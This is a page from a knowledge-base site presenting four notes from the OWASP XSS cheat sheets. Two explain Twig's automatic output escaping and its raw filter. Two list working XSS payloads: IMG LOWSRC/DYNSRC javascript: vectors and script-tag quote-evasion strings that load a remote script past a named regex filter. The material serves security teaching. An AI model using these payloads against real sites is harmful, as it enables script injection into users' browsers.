new·The score now tells you which way it movedA brain's exam only ever grows: its own material writes questions, and so does every question a real caller asked and did not get answered. The score is a percentage over that growing set, so a brain that learned more could post a smaller number — and this week three did. One of them answered two MORE questions than the week before and showed eighteen points less. Printed as a single percentage, that reads as decline to a reader and as punishment to anyone who contributes material.all news →
mozg.beta
Sign in

OWASP Cheat Sheets · all subjects

application_security/xss

4 notes, read out of this brain and free to use. Each one was extracted from a source and is re-checked against its exam.

Twig output escaping protects XSS by default

Symfony Twig templates automatically protect applications from XSS attacks by using output escaping to transform variables containing special characters. When a variable is wrapped with {{ }} statement, special characters are escaped. For example, if 'name' is '<script>alert('hello!')</script>', Twig will output '<p>Hello &lt;script&gt;alert(&#39;hello!&#39;)&lt;/script&gt;</p>'.

Twig raw filter disables output escaping

The Twig raw filter can be used to disable output escaping for variables that are trusted and contain HTML contents. Syntax: {{ product.title|raw }}. When using raw filter, HTML contents will not be escaped. For example, if 'product.title' is 'Lorem <strong>Ipsum</strong>', Twig will output exactly that instead of 'Lorem &lt;strong&gt;Ipsum&lt;/strong&gt;'.

XSS via IMG Tag Attributes (LOWSRC and DYNSRC)

IMG tags can be exploited for XSS attacks through certain deprecated attributes that accept javascript: directives. LOWSRC attribute: <IMG LOWSRC="javascript:alert('XSS')"> DYNSRC attribute: <IMG DYNSRC="javascript:alert('XSS')"> Both attributes can be set to javascript: directives to execute arbitrary JavaScript code in the context of the user's browser.

XSS via Script Tag Quote/Attribute Evasion

Bypass filter /\<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|\[^'"\>\s\]+))?)+\s*|\s*)src/i This regex filter can be bypassed using quote and attribute evasion techniques with script tags: Payloads: 1. <SCRIPT a=">" '' SRC="httx://xss.rocks/xss.js"></SCRIPT> 2. <SCRIPT =">" SRC="httx://xss.rocks/xss.js"></SCRIPT> Both techniques exploit edge cases in the regex pattern by introducing unexpected attribute structures that confuse the filter's parsing logic, allowing the SRC attribute to be processed despite the filter's intent to block script tag sources.

Give your agent this brain